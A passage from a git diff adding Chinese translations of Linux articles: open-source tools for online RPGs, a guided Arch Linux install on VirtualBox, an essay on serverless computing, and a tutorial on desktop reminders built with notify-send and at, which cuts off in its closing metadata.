游戏最基本的(从技术上讲,也是唯一的)要求是交流。这是游戏的媒介:玩家需要一种说话的途径。 + +有几个不错的选择。我发现 [Mumble][6] 是对带宽需求最低的工具。这是一个纯语音聊天应用程序,可以使用非常高效的 Opus 编解码器让每个人一次交谈数小时而不会中断。 + +![Mumble client][7] + +它在世界各地都运行有公共实例,所以下载 Mumble 客户端后,你可以加入其中任何一个开放的实例,并使用它来在线运行游戏。有一个“按下通话”设置,你可以用此来消除背景噪音,当你的其他家庭成员在进行其它工作而不想被你的桌面会话打扰时,这个功能将会非常实用。 + +还有一个文本聊天客户端。我的游戏组通常使用它来发布与游戏相关的链接,但你也可以将其用于其它无关内容的交谈,而让口头游戏保持在主题上。 + +如果你的玩家更喜欢看到面部表情,或者只是习惯于视频聊天网页应用。那么 [Jitsi][8] 是面对面围坐在桌子旁聚会的绝佳替代品。Jitsi 和你曾经使用过的其它视频聊天软件几乎一样,甚至更简单。你可以设置一个“房间”,邀请朋友,将陌生人拒之门外,并玩上几个小时。静音和关闭摄像都很直观,界面很吸引人,并且还定期开发和推出了新功能。 + +![Jitsi][9] + +Mumble 和 Jitsi 都有适用于台式机和移动设备的客户端,因此任何人都可以在任何设备上使用。 + +### 角色表 + +我发布了我的 [数字角色表][10] 解决方案,但任何 RPG 玩家都知道管理角色不仅仅是统计数据。 + +在延续多个会话的在线游戏中,我发现每次游戏之间有很长的停止时间。我突然想到,虽然我发现要求我的玩家在现场纸笔游戏中计算损耗是不合理的,但当一切都是数字化时,要求他们跟踪损耗很容易。 + +网上有很多可用的电子表格,但开源的选择是 [Ethercalc][11]。由于其实例遍布世界各地,因此很容易找到免费的 Ethercalc 主机。或者,你可以使用 Podman 或者 Docker 轻松安装和运行你自己的实例。 + +![Ethercalc spreadsheet of inventory][12] + +Etherclac 提供了一些基本要素:一个共享的账本,这样玩家就可以跟踪他们的团队所携带的物品(以及在任何给定的时间持有该物品的人)、每件物品的重量和价值。当队伍在游戏过程中收集到战利品时,就会输入该物品,所以他们知道什么自己何时会因为负担过重而无法拿起新物品。 + +在不同的游戏会话之间,可以引用和整理这份共享的电子表格,以便玩家(PC)知道哪些物品可以卖掉,哪些物品可以放入储物袋,哪些物品可以在下一次会话发现更好的战利品时安全的丢弃。 + +### 地图 + +Mythic Table 是一款开源的桌面游戏共享地图系统。这意味着你可以加载图片作为游戏地图,并在地图上移动数字标记以表示玩家角色所在的位置。 + +自从 [上次我介绍了关于 Mythic Table][13] 以来,它已经在 Kickstarter 上成功地进行了一次众筹,以确保它的持续发展。它还增加了一些新功能,其中最引人注目的是“战争迷雾”功能,它允许地下城主掩盖地图并仅显示玩家探索过的部分。 + +![A dungeon map rendered by Mythic Table and user interface choices for chat, maps, and characters][14] + +在过去的几个月里,我一直在 Mythic Table 上运行两款游戏,这是一款优秀且直观的地图系统。它还提供了一个数字骰子筒,所以如果你的玩家没有骰子,或者你更喜欢在公开场合掷骰子,你就可以用它作为共享的骰子池。 + +你可以在 [mythictable.com][15] 上试用 Mythic Table,或者访问他们在 [Github][16] 上的代码库。 + +### 开源的开放游戏 + +我使用的开源工具是通用的,因此它们适用于你想玩的任何游戏系统。因为它们都是开源的,所以无论你的玩家使用什么操作系统,他们都可以在线使用,并且它们都可以自托管。 + +如果你既是程序员又是游戏玩家,请访问他们的 Git 代码仓库,看看是否有任何你可以贡献的东西。如果你是游戏玩家或者游戏管理员,在下次坐在数字版的游戏桌前请尝试使用一下这些工具。你可能会惊讶于你只需要很少的在线账户就可以使用一些可用于游戏的最佳应用程序。 + +*(文内图片来自:Seth Kenlon,CC-BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/open-source-rpgs + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/header_dice.png?itok=dOMrHopO (Dice as a random number generator) +[2]: https://www.freerpgday.com/ +[3]: https://goodman-games.com/blog/2021/10/06/pdf-previews-of-our-free-rpg-day-releases/ +[4]: https://paizo.com/community/blog/v5748dyo6shte +[5]: https://opensource.com/article/21/10/rpg-tabletop-games +[6]: http://mumble.info/ +[7]: https://opensource.com/sites/default/files/mumble-client.png (Mumble client) +[8]: https://jitsi.org/ +[9]: https://opensource.com/sites/default/files/jitsi-client.jpg (Jitsi) +[10]: https://opensource.com/article/21/10/3-ways-manage-your-character-sheets-open-source +[11]: http://ethercalc.net/ +[12]: https://opensource.com/sites/default/files/uploads/ethercalc.jpeg (Ethercalc) +[13]: https://opensource.com/article/20/11/open-source-battle-maps +[14]: https://opensource.com/sites/default/files/uploads/mythic.jpeg (Mythic Table) +[15]: http://mythictable.com/ +[16]: https://gitlab.com/mythicteam/mythictable diff --git a/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md b/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md new file mode 100644 index 0000000000..28d6c3f008 --- /dev/null +++ b/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md @@ -0,0 +1,270 @@ +[#]: subject: "Beginner’s Guide to Installing Arch Linux on VirtualBox" +[#]: via: "https://itsfoss.com/install-arch-linux-virtualbox/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14834-1.html" + +在 VirtualBox 安装 Arch Linux 的新手操作指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/16/100738bceesesazv6rsxl4.jpg) + +[Arch Linux 在桌面 Linux 世界中非常流行][1]。受欢迎的原因之一是 [安装 Arch Linux][2] 本身就是一项复杂的任务。 + +我没有夸大其词。安装 [Ubuntu 或 Debian][3] 比 Arch Linux 容易得多,因为官方没给后者提供图形界面的安装程序。 + +这时虚拟机就派上用场了。 + +你可以先在 VirtualBox 中尝试安装 Arch Linux,看看它是否是你想在实际硬件上运行的系统。通过这种方式,你可以在不弄乱当前操作系统的情况下体验 Arch Linux。 + +在本文,我将一步一步指导你完成一个实用的 Arch Linux 虚拟机的安装过程。 + +### 在 VirtualBox 上安装 Arch Linux + +毫无疑问,你需要先 [在 Linux 上安装 VirtualBox][4](或在 Windows 上)。在 Windows 上,只需访问 Oracle 的网站并下载 VirtualBox。 + +> **[下载 VirtualBox][5]** + +如果你使用的是 Windows 10 或更高版本,请确保你的系统已启用虚拟化。 + +完成后,你需要到 [Arch Linux 官方网站][6] 下载 ISO 文件。你应该找到 [使用 torrent 下载][7] 或直接下载文件的选项。 + +![][8] + +你可以保留 ISO 文件以备不时之需,安装成功后也可以将其删除以 [释放系统上的空间][9]。 + +现在,让我们开始在 VirtualBox 上安装 Arch Linux 吧。 + +#### 第一部分 创建虚拟机 + +**第一步**:首先,你需要在 VirtualBox 中设置一下。启动 VirtualBox 并单击 “新建New” 来创建一个虚拟机。 + +![][10] + +注意,你可以使用 “向导模式guided mode” 继续创建虚拟机,但使用 “专家模式expert mode” 可以一目了然地获得更多选项。 + +![][11] + +因此,我推荐使用专家模式来创建虚拟机。 + +不用担心,专家模式同样简单,只是多了一些额外的可选项,无需担心其他任何事情。 + +**第二步**:输入你的虚拟机名称。当你在 “名称Name” 字段中输入 “Arch Linux” 时,它会分别自动检测 “类型Type” 和 “版本Version”。 + +![][12] + +你应该增加内存大小以舒适地使用虚拟机。如果只是用于小型测试,你可以继续使用默认设置。 + +我在这个例子中分配了 **4 GB 左右的内存**。 + +另外,请确保在 “硬盘Hard disk”选项下选择 “现在创建虚拟硬盘create a virtual hard disk”。它应该是默认选项。 + +现在,继续设置虚拟硬盘大小。 + +**第三步**:你可以选择虚拟硬盘的存放位置,并根据你的需求调整大小。最小分配大小(8 GB)对于安装系统应该不是问题,但安全起见,你可能得分配至少 10 到 15 GB。 + +![][13] + +接下来,你需要将硬盘硬盘文件类型选择为 “VDI(VirtualBox Disk Image)” ,将存储选择为 “动态分配Dynamically assigned”,如上图所示。 + +VDI 是虚拟硬盘最常见的硬盘类型。 + +当你为硬盘存储选择 “动态分配Dynamically allocated” 选项时,这意味着存储空间将根据使用情况进行使用。换言之,当创建虚拟机后,并不会立即将这 15 GB 的空间从你的磁盘中锁定。 + +现在,你所要做的就是点击 “创建Create” 来添加虚拟机。 + +#### 第二部分 添加 ISO 文件以开始安装 Arch Linux + +![][14] + +当虚拟机在左侧列表中出现后,你可以查看其配置并在 “存储Storage” 选项下选择 ISO 文件作为磁盘驱动。 + +你也可以单独前往虚拟机设置以探索更多内容并选择 ISO 文件。 + +![][15] + +为此,你需要导航至虚拟机设置的 “存储Storage” 标签页。 + +![][16] + +在这里,你必须单击 “控制器Controller” 下的 “没有盘片Empty”,然后继续选择 Arch Linux ISO 文件作为磁盘文件(如上图所示)。 + +![][17] + +完成选择后,点击 “OK” 以保存设置的变更。 + +将 ISO 设置为要引导的磁盘时,虚拟机设置应如下所示: + +![][18] + +现在,点击 “启动Start” 启动虚拟机并开始安装。 + +#### 第三部分 使用引导式安装程序安装 Arch Linux + +使用 [介绍一个引导式安装程序][19] 的方法使安装 Arch Linux 变得更容易,也就是说,它为你提供了设置成熟的 Arch Linux 系统所需的所有选项。 + +因此,在引导式安装程序的帮助下,你不必单独安装桌面环境和其他基本软件包。你所要做的就是按照屏幕上的说明选择适合你的选项。 + +在本文中,我们将重点介绍引导式安装程序。如果你想自己做,你应该遵循我们的 [Arch 安装指南][2]。 + +继续安装流程,当你启动虚拟机时,将看到以下屏幕: + +![][20] + +第一个选项是理想的处理方式。如果你有特定的要求,可以选择其他选项来启动 Arch Linux。 + +现在,你应该正在查看一个终端窗口。以下是如何开始: + +**第一步**:输入 `archinstall` 以使用引导式安装程序启动安装。 + +![][21] + +**第二步**:根据你的要求选择键盘布局,美式布局应该是最常见的选择。简单地输入一个数字即可进行选择,如下图所示(例如,26): + +![][22] + +**第三步**:接下来,你需要选择一个区域来下载包。 + +![][23] + +选择首选地区而不是 “全球Worldwide”。这至关重要,因为如果你选择 **全球** 作为你的地区,它会下载许多不必要的包。 + +**第四步**:选择区域后,它会要求你选择驱动器进行安装。在这个例子中,我们已经创建了一个大约 15 GB 的虚拟驱动器,显示为 `/dev/sda`。 + +类似的,根据大小检查你创建的驱动器,然后选择该磁盘继续。在这里,我输入 `1` 作为输入;你的可能会有所不同。 + +![][24] + +**第五步**:接下来,你将被询问以下内容: + + - 选择文件系统类型 + - 加密密码(可选的) + - 主机名 + - 创建 root 密码(可选的) + - 创建超级用户 + - 选择一个预编程的配置文件 + +![][25] + +在我的测试中,我选择了 btrfs 作为文件系统,没有设置任何磁盘加密密码。 + +主机名可随心所欲的设置,但我建议保持简短。 + +你可以选择创建一个 root 密码,即使不这么做也应该没什么问题。不过,你需要创建一个具有 sudo 权限的超级用户。 + +我使用 `admin`/`pass` 作为用户名和密码。不过,如果你不想让其他人访问你计算机上的虚拟机,则不应使用易于猜测的密码。 + +然后,你将看到一个选择配置文件的选项。在这种情况下,我们需要一个成熟的 Arch Linux 桌面。因此,我们通过输入 `0` 来选择 “桌面desktop”。 + +**第六步**:接下来,你将被要求选择桌面环境。我决定使用 KDE。你可以选择任何你喜欢的。 + +![][26] + +**第七步**:最后,你将被要求选择显卡驱动程序。由于我们是在 VirtualBox 上安装的 Arch Linux,你可以选择选项 4:VMware/VirtualBox,如下图所示: + +![][27] + +你可能还会被要求输入“是(`y`)或否(`n`)”选择 pipewire 而不是 PulseAudio 作为音频服务。选任何一个都应该都可以。 + +**第八步**:接下来是重要的一步。在这里,如果你需要内核的 LTS 版本,你可以选择使用 “linux-lts”,或者继续使用默认值。 + +![][28] + +安装程序会提示你输入想安装的软件包。在这里,我们没有任何特殊要求,因此我们将其留空并按回车键跳过。 + +**第九步**:你将被要求选择所需的网络适配器以启用互联网访问。你必须选择以下选项: + +“使用网络管理器来控制和管理你的互联网连接Use network manager to control and manage your internet connection” + +![][29] + +**第十步**:下一步需要定义时区。选择适用于你的时区,或继续使用默认选项。 + +**第十一步**:完成后,它将显示你选择的大部分选项以供确认。按回车键继续。 + +![][30] + +**第十二步**:安装完成需要花费几分钟时间,这取决于你的互联网连接速度。 + +安装完成后,它会要求你 “chroot 进入新创建的安装以进行安装后配置”,但我们不需要。因此输入 `N` 以完成安装。 + +**第十三步**:最后,你应该会再次看到终端窗口。输入: + +``` +shutdown now +``` + +这将安全地退出安装并关闭虚拟机。 + +一切就绪!在启动安装了 Arch 的虚拟机之前,你还需要做一件事 —— **移除选择作为光驱的 ISO 磁盘**。与添加启动 ISO 的方式类似,你可以前往虚拟机设置并将其删除,如下所示: + +![][31] + +到此为止你已在 VirtualBox 上安装了 Arch Linux。 + +你所要做的就是启动虚拟机,在我的例子中它是这样的: + +![virtualbox arch][32] + +尽管浏览这些选项需要一些时间,但 Arch Linux 上新的引导式安装程序可以节省大量时间使必填项配置正确。 + +![][33] + +同样的步骤也适用于在你的计算机上安装 Arch Linux。你需要用 Arch Linux ISO 文件 [使用 Etcher 制作单独的可启动 USB 盘][34]。 + +### 总结 + +[Arch Linux 成为一种流行的选择][1] 有多种原因。但是,如果这是你第一次安装,或者你想对其进行测试,那么虚拟机是在不打乱主机的情况下体验它的最佳方式。 + +我希望这可以帮助你在 VirtualBox 上安装 Arch Linux。在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-arch-linux-virtualbox/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/why-arch-linux/ +[2]: https://itsfoss.com/install-arch-linux/ +[3]: https://itsfoss.com/debian-vs-ubuntu/ +[4]: https://itsfoss.com/install-virtualbox-ubuntu/ +[5]: https://www.virtualbox.org/wiki/Downloads +[6]: https://archlinux.org/download/ +[7]: https://itsfoss.com/best-torrent-ubuntu/ +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archlinux-downloads.png?resize=800%2C419&ssl=1 +[9]: https://itsfoss.com/free-up-space-ubuntu-linux/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-new.png?resize=800%2C562&ssl=1 +[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-expert-mode.png?resize=707%2C438&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-create.png?resize=800%2C536&ssl=1 +[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-disk.png?resize=800%2C528&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/choose-disk-virtualbox-arch.png?resize=800%2C440&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-settings-option.png?resize=800%2C551&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-choose-iso.png?resize=800%2C314&ssl=1 +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-iso-select.png?resize=800%2C348&ssl=1 +[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-set-start.png?resize=800%2C548&ssl=1 +[19]: https://news.itsfoss.com/arch-linux-easy-install/ +[20]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-archlinux-boot.png?resize=800%2C593&ssl=1 +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-guided.png?resize=800%2C400&ssl=1 +[22]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-kb-layout.png?resize=800%2C694&ssl=1 +[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-region.png?resize=800%2C664&ssl=1 +[24]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-selectdisk.png?resize=800%2C199&ssl=1 +[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-desktop-configure.png?resize=800%2C497&ssl=1 +[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-virtualbox-desktop-environment.png?resize=800%2C415&ssl=1 +[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-environment.png?resize=419%2C173&ssl=1 +[28]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-linux-kernel.png?resize=800%2C692&ssl=1 +[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-network-manager.png?resize=800%2C151&ssl=1 +[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-confirmation.png?resize=800%2C697&ssl=1 +[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/iso-remove-archinstall.png?resize=800%2C286&ssl=1 +[32]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch.png?resize=800%2C635&ssl=1 +[33]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/kde-arch-virtualbox.png?resize=800%2C453&ssl=1 +[34]: https://itsfoss.com/install-etcher-linux/ diff --git a/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md b/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md new file mode 100644 index 0000000000..6fa2d4a1e2 --- /dev/null +++ b/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md @@ -0,0 +1,93 @@ +[#]: subject: "Should Businesses Opt for Serverless Computing?" +[#]: via: "https://www.opensourceforu.com/2021/12/should-businesses-opt-for-serverless-computing/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14781-1.html" + +企业应该选择无服务器计算吗? +====== + +> 无服务器计算将服务器从规划中移除,使企业能够专注于应用功能。那么,企业是不是都应该选择无服务器计算呢?让我们来探究一下吧! + +![](https://img.linux.net.cn/data/attachment/album/202207/01/113921u4sjl5cczwj3tjbu.jpg) + +直至不久之前,几乎每个产品经理都会将他/她的工程资源,分成两个独立的团队 —— 开发团队和运维团队。开发团队通常参与编码、测试和构建应用功能,而运维团队负责应用程序的交付、部署和运行维护。 + +当开发团队构建电商应用时,运维团队会搭建好服务器来托管该应用。搭建服务器涉及到许多方面,其中包括: + +* 选择合适的硬件和操作系统 +* 应用所需的补丁集 +* 搭建所需服务器环境,如 JDK、Python、Tomcat、NodeJS 等 +* 部署、配置和提供实际的应用 +* 打开并固定合适的端口 +* 搭建所需的数据库引擎 + +……这个名单还在继续。 + +除此之外,管理人员还对容量规划感到头疼。毕竟,任何重要应用都应始终保持 100% 可用、可靠且可扩展。这需要对硬件进行最佳投资。众所周知,在一些关键时期,硬件短缺会导致业务损失,而硬件冗余又会损害利润。因此,无论应用是针对本地数据中心,还是针对云基础架构,容量规划都是至关重要的。到目前为止,很明显,企业不仅在功能构建上投入了大量的精力,还在功能交付上也花费了大量的时间。 + +无服务器计算Serverless computing旨在提供一种无缝的方式来交付功能,而无需担心服务器的设置和维护。换句话说,无服务器计算平台提供了一个“即用型ready-to-use”环境,企业可以尽快将应用程序构建和部署为一些较小的功能。这就是为什么这种方法被称为“功能即服务Function as a Service”(FaaS)。 + +请记住,无服务器计算中仍然存在服务器,但它由 AWS、微软和谷歌等 FaaS 供应商负责。 + +例如,AWS 以 “Lambda 函数”的形式提供了一个无服务器计算环境。开发人员可以选择将应用程序构建为一组 Lambda 函数,这些函数可以用 NodeJS、Java、Python 和其他一些语言编写。AWS 提供了一个现成的环境来部署这些函数。它还提供了即用​​型数据库服务器、文件服务器、应用程序网关和身份验证服务器等。 + +同样,微软 Azure 也提供了一个环境,它可以用 C# 等语言构建和部署 Azure 函数。 + +### 为什么选择无服务器? + +有两个主要因素推动了无服务器计算的普及。 + +#### 1、即用型环境 + +显然,这是无服务器计算的最大卖点。企业无需提前采购/预订硬件或实例,也无需操心许可证,以及设置和配置服务器。他们不需要为扩大和缩小规模而烦恼。所有这些都由 FaaS 供应商负责。 + +#### 2、最优成本 + +由于 FaaS 供应商总是根据环境的利用率向客户收费(按使用付费模式),因此企业无需担心前期成本和资源浪费。例如,AWS 根据 Lambda 函数接收的请求数量、在数据表上运行的查询数量等指标来向客户端收费。 + +### 无服务器计算的挑战 + +与任何其他方法一样,无服务器计算也不是每个人都可以盲目遵循的完美方法。它本身也有一系列限制。以下是其中的几个。 + +#### 1、供应商锁定 + +当使用无服务器计算时,第一个也是最重要的问题就是,Lambda 或 Azure 等函数将使用供应商提供的 API 来编写。例如,使用 AWS Lambda API 编写的函数无法部署到 Google Cloud 中,反之亦然。因此,无服务器计算迫使企业在许多年内,只能使用同一家供应商。并且,应用的成功或失败不仅取决于它的功能,还取决于供应商在性能等方面的能力。 + +#### 2、编程语言 + +没有哪家无服务器计算平台支持所有的编程语言。此外,对于它支持的编程语言,它也可能不支持其所有版本。这样一来,应用开发团队只能选择供应商提供的语言。就团队的能力而言,这可能是非常关键的。 + +#### 3、最优成本,真的吗? + +其实也不一定,这一切都取决于资源的使用情况。如果你的应用正在承受巨大的负载,例如每秒数百万个请求,那么你所支付的费用可能会过高。在这样的规模下,在本地或云端拥有自己的服务器可能会更便宜。这并不意味着具有 Web 规模的应用不适合用无服务器计算。归根结底,它还是取决于你的平台的构建方式,以及你与供应商签署的协议。 + +#### 4、生态系统 + +没有哪个应用是为了一个孤立的环境而编写的。它总是需要其他组件,如数据存储、数据库、安全引擎、网关、消息服务器、队列、缓存等。每个平台都提供自己的一组此类工具。例如,AWS 提供了 Dynamo DB 作为其 NoSQL 解决方案之一。显然,其他供应商也提供了自己的 NoSQL 解决方案。因此,团队又会被迫地基于所选平台来构建应用程序。尽管大多数商业 FaaS 供应商都为特定需求提供了多个组件,但并非每个组件都可能是同类型中最佳的。 + +### 为什么不考虑容器呢? + +在过去十年中,我们中的许多人都迁移到了容器化部署模型,因为它们为昂贵的物理机或虚拟机提供了一种轻量级的替代方案。有了 Kubernetes 等编排工具后,我们乐于部署容器化应用,同时也满足了 Web 规模的要求。容器提供了与底层环境一定程度的隔离,这使得部署相对容易。但是,我们仍然需要在硬件(本地或云)、许可证、网络、配置等方面进行投资,这需要具有前瞻性的规划、合适的技术能力和仔细的监控。无服务器计算,尽管它也有自己的优点和缺点,但它让我们把这些责任也摆脱了。 + +### 展望未来 + +我们正处于持续开发、持续集成和持续部署的时代。每个企业都面临着竞争。产品上市时间Time to market(TTM)在吸引客户、留住客户这两个方面,发挥着重要作用。在这种背景下,企业喜欢花更多时间来尽可能快地推出功能,而不是在部署和维护的细节上苦苦挣扎。无服务器计算有可能满足这些需求。大玩家们正在投入巨额资金,以使 FaaS 尽可能地无缝且经济。无服务器计算的未来看起来是一片光明。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2021/12/should-businesses-opt-for-serverless-computing/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2021/10/Severless-Cloud-Computing-Featured-image-OSFY-Oct-2021.jpg diff --git a/published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md b/published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md new file mode 100644 index 0000000000..35ed30f1e0 --- /dev/null +++ b/published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md @@ -0,0 +1,198 @@ +[#]: subject: "Send desktop notifications and reminders from Linux terminal" +[#]: via: "https://opensource.com/article/22/1/linux-desktop-notifications" +[#]: author: "Tomasz Waraksa https://opensource.com/users/tomasz" +[#]: collector: "lujun9972" +[#]: translator: "mcfd" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14826-1.html" + +如何从 Linux 终端发送桌面通知与提醒 +====== + +> 这篇教程演示如何使用脚本命令来发送自己的桌面通知与提醒。 + +![](https://img.linux.net.cn/data/attachment/album/202207/14/145103vawkhy6w506thy6h.jpg) + +有时候,来自脚本的视觉回馈是很有用的。例如,当一个脚本或计划任务完成时,一个长期运行的构建任务失败时,或者当脚本执行中出现了紧急问题时。桌面应用程序可以通过弹出通知来做到这一点,但脚本也可以做到这一点!你可以使用脚本命令来给自己发送桌面通知与提醒。 + +![Example notification][2] + +下面的代码是在 Linux 上编写和测试的。它也可以在 macOS 上运行,只需花点功夫。请参见最后一节 [提示与技巧][3]。 + +### 从 Linux 终端发送通知 + +要从 Linux 终端发送通知,请使用 [notify-send][4] 命令。运行 `which notify-send` 命令来查看它是否在于你的系统中。如果没有,请使用包管理器来安装它。 + +在 Fedora 上,输入: + +``` +$ sudo dnf install notify-send +``` + +在基于 Debian 的发行版上,输入: + +``` +$ sudo apt install notify-send +``` + +几个简单的通知示例: + +``` +$ notify-send "Dinner ready!" +$ notify-send "Tip of the Day" "How about a nap?" +``` + +你可以用紧急程度、自定义图标等选项来自定义通知。过 `man notify-send` 了解更多。你也可以在通知正文中使用一小组 HTML 标记,以使消息有一个棒的视觉感受。最重要的是,URL 被呈现为可点击的。例如: + +``` +$ notify-send -u critical \ + "Build failed!" \ + "There were 123 errors. Click here to see the results: http://buildserver/latest" +``` + +![Build fail notification][5] + +发送的通知会被桌面环境接收,并像其他通知一样显示。它们将具有相同的外观、交互和行为。 + +### 将 notify-send 与 at 结合使用 + +计划任务通常被用来定期安排命令。`at` 命令安排在一个指定的时间执行一条命令。如果你像这样运行它,它会以交互模式启动,你可以在其中输入要在指定时间执行的命令: + +``` +$ at 12:00 +``` + +这对脚本来说并不有用。幸运的是 `at` 接受来自标准输入的参数,所以我们可以这样使用它: + +``` +$ echo "npm run build" | at now + 1 minute +$ echo "backup-db" | at 13:00 +``` + +有许多指定时间的方法。 从绝对时间,如 `10:00`,到相对时间,如 `now + 2 hours` ,再特殊时间,如`noon` 或 `midnight`。我们可以把它和 `notify-send` 结合起来,在未来的某个时间向自己发送提醒。例如: + +``` +$ echo "notify-send 'Stop it and go home now?' 'Enough work for today.' -u critical" | at now +``` + +![Stop for the day notification][6] + +### 提醒的命令 + +现在,建立一个自定义的 Bash 命令来给自己发送提醒信息。像这样简单且人性化的命令: + +``` +$ remind "I'm still here" now +$ remind "Time to wake up!" in 5 minutes +$ remind "Dinner" in 1 hour +$ remind "Take a break" at noon +$ remind "It's Friday pints time!" at 17:00 +``` + +这比 Alexa 更好!该怎样做? + +请看下面的代码。它定义了一个名为 `remind` 的函数,它支持上述语法。实际工作是在最后两行完成的。其余的部分负责显示帮助信息、参数校验等,这与任何大型应用程序中有用的代码与必要的白噪声的比例大致相同。 + +把代码保存在某个地方,例如,在 `~/bin/remind` 文件中,并在你的 `.bashrc` 配置文件写入该函数,以便在你登录时加载它: + +``` +$ source ~/bin/remind +``` + +重新打开终端,然后输入 `remind` 来查看语法。尽情享受吧! + +``` +#!/usr/bin/env bash +function remind () { +  local COUNT="$#" +  local COMMAND="$1" +  local MESSAGE="$1" +  local OP="$2" +  shift 2 +  local WHEN="$@" +  # Display help if no parameters or help command +  if [[ $COUNT -eq 0 || "$COMMAND" == "help" || "$COMMAND" == "--help" || "$COMMAND" == "-h" ]]; then +    echo "COMMAND" +    echo "    remind <message> <time>" +    echo "    remind <command>" +    echo +    echo "DESCRIPTION" +    echo "    Displays notification at specified time" +    echo +    echo "EXAMPLES" +    echo '    remind "Hi there" now' +    echo '    remind "Time to wake up" in 5 minutes' +    echo '    remind "Dinner" in 1 hour' +    echo '    remind "Take a break" at noon' +    echo '    remind "Are you ready?" at 13:00' +    echo '    remind list' +    echo '    remind clear' +    echo '    remind help' +    echo +    return +  fi +  # Check presence of AT command +  if ! which at >/dev/null; then +    echo "remind: AT utility is required but not installed on your system. Install it with your package manager of choice, for example 'sudo apt install at'." +    return +  fi +  # Run commands: list, clear +  if [[ $COUNT -eq 1 ]]; then +    if [[ "$COMMAND" == "list" ]]; then +      at -l +    elif [[ "$COMMAND" == "clear" ]]; then +      at -r $(atq | cut -f1) +    else +      echo "remind: unknown command $COMMAND. Type 'remind' without any parameters to see syntax." +    fi +    return +  fi +  # Determine time of notification +  if [[ "$OP" == "in" ]]; then +    local TIME="now + $WHEN" +  elif [[ "$OP" == "at" ]]; then +    local TIME="$WHEN" +  elif [[ "$OP" == "now" ]]; then +    local TIME="now" +  else +    echo "remind: invalid time operator $OP" +    return +  fi +  # Schedule the notification +  echo "notify-send '$MESSAGE' 'Reminder' -u critical" | at $TIME 2>/dev/null +  echo "Notification scheduled at $TIME" +} + +``` + +### 简单的提醒 + +通过这几个简单的开源命令,你可以将你自己的脚本、应用程序和任务与你的桌面结合起来。试一试吧! + +* * * + +(文内图片来自 Tomasz Waraksa, CC BY-SA 4.0) + +本文经作者许可改编自 [原文][7]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/linux-desktop-notifications + +作者:[Tomasz Waraksa][a] 